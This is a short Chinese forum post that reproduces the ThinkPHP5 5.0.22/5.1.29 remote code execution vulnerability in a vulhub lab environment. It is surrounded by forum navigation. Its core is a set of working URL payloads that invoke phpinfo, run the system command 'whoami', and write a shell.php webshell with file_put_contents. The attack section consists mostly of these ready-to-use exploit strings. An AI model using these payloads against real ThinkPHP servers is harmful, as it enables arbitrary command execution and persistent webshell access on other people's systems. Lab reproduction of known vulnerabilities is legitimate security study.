ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞复现

讨论社区 / 日志 / 帖子详情

2023-03-29 23:03:03

256

复现环境

thinkphp5.0.22

推荐使用vulhub快速搭建漏洞环境

漏洞payload：

1：/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100

2：index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

效果如下

写入文件的payload：

/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=加你要写入的文件内容url编码

更详细可参考博文：

https://blog.csdn.net/qq_29647709/article/details/84956221

上一页：thinkphp 连贯操作between

下一页：thinkphp6的自定义异常处理

回帖

全部回帖（{{commentCount}}）

{{item.like > 0 ? item.like : '点赞'}} {{item.comment_content_show ? '取消' : '回复'}} 删除

回帖

{{reply.like > 0 ? reply.like : '点赞'}} {{reply.comment_content_show ? '取消' : '回复'}} 删除

回帖

收起

没有更多啦~

发帖

一个专属于OneKeyAdmin的技术交流平台，记录OneKeyAdmin开发者的成长与进步。

主题帖

6221

回帖数

143

文章

回帖

文章

粉丝

1 WordPress Rest API 入门详解

2763

2 Thinkphp5.0 获取新增数据的ID

6 Thinkphp6 的 where 查询条件 and 和 or 的操作

1833

7 thinkphp5使用数据库表锁

1624

8 Thinkphp如何查看当前是哪个版本?查看thinkphp当前版本号的三种方法

1621

9 thinkphp6 如何输出json数据

1580

10 h5网站模板_超全超实用的80个模板网站，我全部整理在这里了

1577